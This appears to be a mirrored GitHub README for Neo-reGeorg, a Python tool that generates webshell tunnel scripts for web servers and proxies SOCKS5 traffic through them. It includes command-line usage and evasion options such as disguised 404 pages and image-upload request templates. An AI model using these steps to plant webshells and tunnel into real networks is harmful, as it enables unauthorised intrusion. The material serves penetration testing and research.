MyGit

L-codes/Neo-reGeorg

Fork: 448 Star: 2914 (更新于 2024-12-07 03:09:09)

license: GPL-3.0

Language: Python .

Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

最后发布版本: v5.2.0 ( 2024-01-16 14:39:11)

GitHub网址

Neo-reGeorg

简体中文 | English

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:

  • 提高可用性,避免特征检测
  • 提高 tunnel 连接安全性
  • 提高传输内容保密性
  • 应对更多的网络环境场景下使用

此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!

Version

5.2.0 - 版本修改日志

Features

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 采用 BLV (Byte-LengthOffset-Value) 数据格式传输数据
  • 直接请求响应可定制化 (如伪装的404页面)
  • 支持 Request 模板
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性,如服务器不稳定、负载均衡下只在部分机器上部署了服务端等特殊情况
  • (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
  • (非 php) 支持内网转发,应对负载均衡环境
  • 支持进程形式启动服务端,应对更多场景

python 依赖

python -m pip install requests requests[socks]

Basic Usage

  • Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.aspx
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.go
  • Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [DEBUG]
  Starting socks server [127.0.0.1:1080]
  Tunnel at:
    http://xx/tunnel.php
+------------------------------------------------------------------------+

Advanced Usage

  1. 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
  1. 如服务端 WEB,需要设置代理才能访问
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
  1. 需要分散请求,可上传到多个路径上,如内存马
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
  1. 开启内网转发,应对负载均衡
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
  1. 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
  1. 设置请求内容模板 ( generate 的时候需要指定上)
# 请求内容会替换到 NEOREGBODY 中
$ python3 neoreg.py -k password -T 'img=data:image/png;base64,NEOREGBODY&save=ok'
$ python3 neoreg.py -k password -T 'img=data:image/png;base64,NEOREGBODY&save=ok' -u http://127.0.0.1:8000/anysting

# NOTE 允许将模板内容写入文件中 -T file 即可
  1. 支持创建进程另起 Neoreg 服务端,可应对恶劣的特殊环境 (自行脑补) :)
$ go run neoreg_servers/tunnel.go 8000
$ python3 neoreg.py -k password -u http://127.0.0.1:8000/anysting
  • 更多关于性能和稳定性的参数设置参考 -h 帮助信息
# 生成服务端脚本
$ python neoreg.py generate -h
    usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
                     [--max-read-size KB]

    Generate neoreg webshell

    optional arguments:
      -h, --help            show this help message and exit
      -k KEY, --key KEY     Specify connection key.
      -o DIR, --outdir DIR  Output directory.
      -f FILE, --file FILE  Camouflage html page file
      -c CODE, --httpcode CODE
                            Specify HTTP response code. When using -r, it is
                            recommended to <400 (default: 200)
      -T STR/FILE, --request-template STR/FILE
                            HTTP request template (eg:
                            'img=data:image/png;base64,NEOREGBODY&save=ok')
      --read-buff Bytes     Remote read buffer (default: 513)
      --max-read-size KB    Remote max read size (default: 512)

# 连接服务端
$ python neoreg.py -h
    usage: neoreg.py [-h] -u URI [-r URL] [-R] [-t IP:PORT] -k KEY [-l IP]
                     [-p PORT] [-s] [-H LINE] [-c LINE] [-x LINE]
                     [--php] [--php-connect-timeout S] [--local-dns] [--read-buff KB]
                     [--read-interval MS] [--write-interval MS] [--max-threads N]
                     [--max-retry N] [--cut-left N] [--cut-right N]
                     [--extract EXPR] [-v]

    Socks server for Neoreg HTTP(s) tunneller (DEBUG MODE: -k debug)

    optional arguments:
      -h, --help            show this help message and exit
      -u URI, --url URI     The url containing the tunnel script
      -r URL, --redirect-url URL
                            Intranet forwarding the designated server (only
                            java/.net)
      -R, --force-redirect  Forced forwarding (only -r)
      -t IP:PORT, --target IP:PORT
                            Network forwarding Target, After setting this
                            parameter, port forwarding will be enabled
      -k KEY, --key KEY     Specify connection key
      -l IP, --listen-on IP
                            The default listening address (default: 127.0.0.1)
      -p PORT, --listen-port PORT
                            The default listening port (default: 1080)
      -s, --skip            Skip usability testing
      -H LINE, --header LINE
                            Pass custom header LINE to server
      -c LINE, --cookie LINE
                            Custom init cookies
      -x LINE, --proxy LINE
                            Proto://host[:port] Use proxy on given port
      -T STR/FILE, --request-template STR/FILE
                            HTTP request template (eg:
                            'img=data:image/png;base64,NEOREGBODY&save=ok')
      --php                 Use php connection method
      --php-connect-timeout S
                            PHP connect timeout (default: 0.5)
      --local-dns           Use local resolution DNS
      --read-buff KB        Local read buffer, max data to be sent per POST
                            (default: 7, max: 50)
      --read-interval MS    Read data interval in milliseconds (default: 300)
      --write-interval MS   Write data interval in milliseconds (default: 200)
      --max-threads N       Proxy max threads (default: 400)
      --max-retry N         Proxy max threads (default: 10)
      --cut-left N          Truncate the left side of the response body
      --cut-right N         Truncate the right side of the response body
      --extract EXPR        Manually extract BODY content (eg:
                            <html><p>NEOREGBODY</p></html> )
      -v                    Increase verbosity level (use -vv or more for greater
                            effect)

Remind

  • Mac OSX 上运行 neoreg.py 时,高并发请求会出现网络丢包情况,可通过 ulimit -n 2560 修改当前 shell 的 "最大文件打开数"

License

GPL 3.0

Star History Chart

Star History Chart

最近版本更新:(数据更新于 2024-12-22 06:10:46)

2024-01-16 14:39:11 v5.2.0

2023-07-09 17:34:50 v5.1.0

2023-06-25 20:47:31 v5.0.2

2023-02-22 16:29:10 v5.0.1

2022-12-25 00:00:03 v5.0.0

2022-06-20 21:20:48 v3.8.1

2022-03-28 14:41:30 v3.8.0

2022-03-15 10:19:53 v3.7.0

2021-10-15 15:27:24 v3.7.0-1

2021-09-16 17:58:26 3.6

主题(topics):

http-redirect, http-tunnel, neoreg, reduh, regeorg, socks-proxy, web-tunnel

L-codes/Neo-reGeorg同语言 Python最近更新仓库

2024-12-22 09:03:32 ultralytics/ultralytics

2024-12-21 13:26:40 notepad-plus-plus/nppPluginList

2024-12-21 11:42:53 XiaoMi/ha_xiaomi_home

2024-12-21 04:33:22 comfyanonymous/ComfyUI

2024-12-20 18:47:56 home-assistant/core

2024-12-20 15:41:40 jxxghp/MoviePilot